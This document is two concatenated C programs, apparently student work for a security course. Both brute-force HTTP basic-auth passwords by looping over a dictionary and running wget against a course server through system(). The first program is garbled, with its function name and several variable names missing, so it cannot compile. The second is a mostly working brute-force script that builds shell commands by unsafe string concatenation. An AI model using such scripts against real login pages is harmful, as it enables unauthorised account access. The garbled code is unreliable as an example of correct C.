#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9

int ()
{   int startTime, stopTime, final;
    int i,j,k;
    FILE* fp;
    int pass,len;
    int count = 0;
    char [50];
    char url1[100];
    char url2[100];

    startTime = time();
    fp = fopen("/usr/share/lib/dict/words","r");
    while (fp !='\0')
     {
       fgets( ,50,fp);

       len = strlen();
       [strlen()-1] ='\0';

       if(len <= 4)
       {
         count++;
	     printf("Checking for the word :%s\n",);
	     strcpy(url1 ,"wget --http-user= --http-passwd=");
	     strcat(url1,);
	     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
	     strcat(url1,url2);


	     pass = system(url1);
	    if (pass == 0)
	    {
	      stopTime = time();
          final = stopTime-startTime;
	      printf("\n SUCCESS\n");
	      printf("The password for the user  : %s\n ",);
	      printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
	       printf("Number of attempts : %d\n",count);
          exit(1);
	 }
        }
       }

 }

 #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>

int main()
{
  char *wordptr = " word";
  FILE *fp;
  int syst = 1;
  char string1[80], string2[50];
  strcpy(string1, "wget --http-user= --http-passwd=");
  strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
  char words[30];
  fp = fopen("words", "r");
  while(wordptr != NULL)
  {
    wordptr = fgets(words, 30, fp);
    if (wordptr == NULL) exit(1);
    words [ strlen(words) - 1 ] = '\0';
    strcat(string1, words);
    strcat(string1, string2);
    printf("\n %s \n",string1);
    syst = system(string1);
    if (syst == 0)
    {
       exit(1);
    }
    strcpy(string1, "");
    strcpy(string1, "wget --http-user= --http-passwd=");
    printf("%s", words);
    
  }
}
